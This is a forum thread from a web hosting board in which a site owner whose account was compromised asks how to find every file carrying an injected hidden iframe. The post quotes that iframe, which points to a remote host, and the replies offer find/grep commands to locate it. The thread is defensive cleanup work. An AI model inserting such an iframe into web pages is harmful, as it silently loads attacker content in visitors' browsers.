Search a string in all files at hosting server

Discussion in 'Web Hosting' started by greatlogix, Jul 10, 2009.

  1. #1
    Is it possible to search a string in all files in my account for all sites at linux based hosting server.

    My hosting account password was hacked by using Trojan "pws:win32/Daurso.A"

    and many files are modified with this line.

    <iframe src="http://a5g.ru:8080/ts/in.cgi?pepsi95" width=125 height=125 
    
    style="visibility: hidden"></iframe>
    Code (markup):
    I have manually fixed many files but i don't know how many other files are infected. So i want to search above text in files and get list of all files which have above line of code.

    Please help

    Thanks in advance.
     
    greatlogix, Jul 10, 2009 IP
  2. kailash

    kailash Well-Known Member

    Messages:
    1,248
    Likes Received:
    42
    Best Answers:
    0
    Trophy Points:
    190
    #2
    Try following:

    find /home/user -exec egrep -iH 'a5g.ru' {} \;

    replace /home/user with your actual physical path.

    Regards,

    Kailash
     
    kailash, Jul 10, 2009 IP
  3. RHS-Chris

    RHS-Chris Well-Known Member

    Messages:
    1,007
    Likes Received:
    35
    Best Answers:
    10
    Trophy Points:
    150
    #3
    This will search for files with the extensions .cgi, .php and .html, and look for the a5g.ru phrase, then place the report in the file called a5g_report, in the root users home directory.
     
    RHS-Chris, Jul 10, 2009 IP